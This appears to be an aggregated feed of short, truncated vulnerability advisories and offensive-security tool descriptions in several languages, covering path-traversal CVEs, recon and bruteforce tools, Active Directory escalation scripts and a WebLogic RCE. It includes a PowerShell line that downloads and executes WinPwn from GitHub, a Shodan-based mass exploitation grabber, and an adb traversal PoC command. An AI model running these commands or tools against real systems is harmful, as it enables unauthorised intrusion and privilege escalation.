CVE-2026-69201

Http4s is a Scala interface for HTTP services. Prior to 0.23.35 and 1.0.0-M47, ResourceService and WebjarService decode each URL path segment but reject only segments exactly equal to an empty string, a dot, or two dots. A request containing percent-encoded slash or backslash separators can turn ...

EUVD-2026-79125

MCPVault is a lightweight Model Context Protocol server for safe access to files in an Obsidian vault. Prior to 0.11.4, PathFilter in src/pathfilter.ts compiles restricted-directory patterns case-sensitively and compares paths without canonicalizing filesystem-equivalent segment names. On...

CVE-2026-79705

A flaw was found in the buildah/copier Go package. When used outside of Buildah by a non-root caller, a crafted tar archive containing malicious symlinks can escape the target extraction directory and create files outside the intended destination. Buildah itself uses chroot hardening and is not...

EUVD-2026-78824

A flaw was found in the containers/storage library. A crafted tar archive containing a malicious whiteout header e.g. victim/.wh. can cause the extraction destination directory to be replaced with an arbitrary file when processed by storage/pkg/archive.UnpackLayer, ApplyLayer, or...

CVE-2026-79705

A flaw was found in the buildah/copier Go package. When used outside of Buildah by a non-root caller, a crafted tar archive containing malicious symlinks can escape the target extraction directory and create files outside the intended destination. Buildah itself uses chroot hardening and is not...

EUVD-2026-78660

atomic-agents-stack before 1.1.0 contains a path traversal vulnerability in the dashboard HTTP server that allows remote attackers to read arbitrary files by supplying directory traversal sequences in request paths. Attackers can bypass path containment checks by including '../' segments in...

PSPKIAudit

PSPKIAudit Active Directory Certificate Services AD CS 감사를 위한 PowerShell 툴킷. 해당 툴킷은 PKISolution의 PSPKI 툴킷Microsoft Public License을 기반으로 구축되었습니다. 이 리포지토리에는 PSGallery에서 사용 가능한 버전보다 최신 버전의 PSPKI가 포함되어 있습니다PSPKI 디렉토리 참조. Vadims PodansPSPKI의 창시자님께서 여러 버그 패치가 포함된 이 버전을 친절하게 제공해 주셨습니다. 이 README는 출발점일...

waldo

Waldo는 Python으로 구현된 가볍고 멀티스레드 디렉터리 및 서브도메인 무차별 대입 도구입니다. 지정된 대상의 숨겨진 웹 리소스와 미발견된 서브도메인을 찾는 데 사용할 수 있습니다. 주요 기능 대상 도메인의 모든 서브도메인 목록을 빠르고 쉽게 생성 공격의 일부로 잠재적으로 활용할 수 있는 숨겨진 웹 리소스 발견 Python으로 작성되어 매우 이식성이 뛰어남 빠르고 멀티스레드 설계 설정 의존성은 다음 명령으로 설치할 수 있습니다: root@kitploit: $ pip install -r pip.req Waldo 실행:...

waldo

Waldo is a lightweight and multithreaded directory and subdomain bruteforcer implemented in Python. It can be used to locate hidden web resources and undiscovered subdomains of the specified target. Key Features Quickly and easily generate a list of all subdomains of target domain Discover hidden...

Reconator

Reconator 는 자동화된 정찰 프레임워크입니다. 단일 또는 대량으로 대상을 추가하면, 작업자가 약 17개의 정찰 모듈서브도메인 열거, 디렉토리 브루트포스, JS/링크 마이닝, WAF 핑거프린트, 테이크오버 검사, GF 분류 등을 실행합니다. 대시보드는 각 모듈의 결과가 도착하는 대로 보여줍니다. 기술 스택 계층| 기술 ---|--- API| FastAPI · SQLAlchemy 2 · Alembic · Pydantic v2 Worker| Python 서브프로세스 실행기 타임아웃 + 취소 지원 DB| PostgreSQL 1...

CVE-2022-20128

CVE-2022-20128 Android Debug Bridge adb は、悪意のある、または不正な adb デーモンが adb pull 操作中にディレクトリトラバーサル攻撃を仕掛けられる脆弱性がありました。 悪意のあるデバイス: root@kitploit: ./adbdirtrav.py -lp 5111 --content "hello world" --destination-path /etc/proof 被害者: root@kitploit: root@eedd4cb8b202:/tmp/platform-tools cat /etc/proof cat:...

PurpleSharp

PurpleSharp 기업 네트워크를 공격자로부터 방어하는 것은 블루팀에게 여전히 어려운 과제입니다. 예방은 한계를 드러냈으며, 탐지 및 대응 능력을 개선하는 것이 올바른 방향임이 입증되었습니다. 그러나 공격자 행동에서 생성되는 텔레메트리가 없다면 새로운 탐지 기능을 구축하고 기존 탐지 기능을 테스트하는 데 제약이 따릅니다. PurpleSharp은 C으로 작성된 오픈 소스 공격자 시뮬레이션 도구로, Windows Active Directory 환경 내에서 공격자 기술을 실행합니다. 생성된 텔레메트리는 탐지 엔지니어링 프로그램의...

Apachuk

Apachuk - Shodan을 이용한 CVE-2021-41773 Grabber Shodan을 이용한 Apache 디렉터리 트래버설 Grabber. 다음 코드에서 재작성: https://github.com/mohwahyudi/cve-2021-41773 사용 방법 pip3 install requirements.txt python3 main.py -a Shodan API 키 -k Shodan 검색 키워드 Shodan API 키? https://account.shodan.io/에 로그인/가입하여 Shodan API 키를 받으세요. ...

rengine

reNgine: The Ultimate Web Reconnaissance & Vulnerability Scanner 🚀 reNgine 2.2.0 is released! reNgine 2.2.0 comes with bounty hub where you can sync and import your hackerone programs, in app notifications, chaos as subdomain enumeration tool, ability to upload multiple nuclei and gf patterns,...

CVE-2019-2890

CVE-2019-2890 WebLogic 逆シリアライズRCE脆弱性 0x01 SerializedSystemIni.dat をダウンロード /root/Oracle/Middleware/userprojects/domains/basedomain/security root@kitploit: root@159475444bab:/Oracle/Middleware/userprojects/domains/basedomain/security md5sum SerializedSystemIni.dat a50f1784f1f5b12cccb8b231d6b36223...

Invoke-BadSuccessor.ps1

Invoke-BadSuccessor Delegated Managed Service Accounts dMSA 생성 권한을 악용하여 취약한 조직 구성 단위OU에서 Active Directory 환경의 권한을 상승시킵니다 BadSuccessor 취약점 – CVE-2025-53779. 개요 Invoke-BadSuccessor는 Windows Server 2025 Active Directory에서 dMSA 잘못된 구성과 위임을 악용하여 권한 상승 공격 체인을 자동화합니다. 현재 사용자또는 그룹가 CreateChild 권한을 가진 OU를...

Pentest-Tools-Collection

Pentest-Tools-Collection Active Directory AMSI https://amsi.fail/ Colecciones de herramientas WinPwn https://github.com/S3cur3Th1sSh1t/WinPwn Import-Module .\WinPwn.ps1 iexnew-object net.webclient.downloadstring'https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1' Ghostpack...

AD_Miner

AD Miner는 Active Directory온프레미스 및 Entra ID 감사 도구로, 다음을 수행합니다: BloodHound 그래프 데이터베이스Neo4j의 데이터를 분석하기 위해 Cypher 쿼리 를 활용합니다. 정적 웹 기반 보고서를 통해 기존 취약점에 대한 포괄적인 개요를 제공합니다. 웹 기반 보고서 기능: 식별된 취약점에 대한 상세 목록 시각적 분석을 위한 동적 그래프 시간에 따른 변화를 추적하는 과거 주요 지표 위협 및 조치의 우선순위를 지정하는 위험 등급 보고서 빠른 개요 Active Directory 위험에 대...

BruteConda

BruteConda 당신의 삶을 더 쉽게 만들어주는 디렉토리 무차별 대입 도구! 왜 BruteConda인가? 빠르고 효율적 사용하기 쉬움 사용자 친화적 요구사항: Python3가 설치되어 있어야 함 Python3에 다음 모듈이 설치되어 있어야 함: Requests, Time, Colorama, sys, argparse, os.path 사용법: 1. git clone https://github.com/AkDevilHunter/BruteConda.git 2. cd BruteConda 3. python3 bruteconda.py...

CVE-2022-23342

CVE-2022-23342 セキュリティアドバイザリ – OnBase におけるユーザー名列挙 影響を受けるソフトウェアのバージョンとビルド: OnBase Application Server 影響を受けるのは、OnBase 20.3.58.1000 より前のリリース、および OnBase 21.1.1.1000 から 21.1.15.1000 までのリリースです。 修正済みのソフトウェアのバージョンとビルド: OnBase EP3 リリース 20.3.58.1000 以上 OnBase EP5 リリース 21.1.16.1000 以上 速報: 202206-ONBASE-1 CVS...